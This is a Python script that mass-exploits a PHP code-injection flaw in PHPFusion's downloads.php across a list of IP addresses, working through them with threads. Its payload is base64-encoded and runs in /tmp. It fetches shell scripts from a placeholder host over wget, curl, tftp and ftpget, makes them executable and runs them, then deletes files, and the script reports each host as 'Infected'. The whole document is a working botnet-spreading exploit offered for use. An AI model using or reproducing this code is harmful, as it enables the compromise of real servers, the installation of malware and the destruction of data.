PHPFusion.py

import base64
import sys
import threading
import requests
import os
import subprocess
from Queue import *
from threading import Thread

#Get argv1 and parse it to the Queue
ips = open(sys.argv[1], "r").readlines()
queue = Queue()
queue_count = 0
def php(cmd):
    subprocess.call(cmd, shell=True)

#Replace this with your payload
cmd = "cd /tmp || cd /var/run || cd /mnt; wget http://IP/BINS.sh; curl -O http://IP/BINS.sh; chmod 777 BINS.sh; /bin/sh BINS.sh; tftp IP -c get tBINS.sh; chmod 777 tBINS.sh; /bin/sh tBINS.sh; tftp -r tBINS2.sh -g IP; chmod 777 tBINS2.sh; /bin/sh tBINS2.sh; ftpget -v -u anonymous -p anonymous -P 21 IP BINS1.sh BINS1.sh; /bin/sh BINS1.sh; rm -rf BINS.sh tBINS.sh tBINS2.sh BINS1.sh; rm -rf *"


# Begin exploit config
PAYLOAD = "php -r '$sock=fsockopen(\"127.0.0.1\",4444);exec(\""+cmd+"\");'  " # !!spaces are important in order to avoid ==!!
REQUEST_PAYLOAD = "/infusions/downloads/downloads.php?cat_id=$\{{system(base64_decode({})).exit\}}"
# End exploit config


# Encode payload to be ran on PHPFusion server
PAYLOAD_B64 = base64.b64encode(PAYLOAD.encode('ascii')).decode("ascii").strip("=")


def phpfusion(host):
    print("[PHPFusion] Infected "+host)
    try:
        page_data = requests.get("http://" + host + "/infusions/downloads/downloads.php?cat_id=${system(ls)}")
        if "infusion_db.php" in page_data.text:
            requests.get(host + REQUEST_PAYLOAD.format(PAYLOAD_B64))
            print("[PHPFusion] Infected "+host)
    except:
        pass
    return


def main():
    global queue_count
    for line in ips:
        line = line.strip("\r")
        line = line.strip("\n")
        queue_count += 1
        sys.stdout.write("\r[%d] Added to queue" % (queue_count))
        sys.stdout.flush()
        queue.put(line)
    sys.stdout.write("\n")
    i = 0
    while i != queue_count:
        i += 1
        try:
            input = queue.get()
            thread = Thread(target=phpfusion, args=(input,))
            thread.start()
        except KeyboardInterrupt:
            os.kill(os.getpid(), 9)
    thread.join()
    return

if __name__ == "__main__":
    main()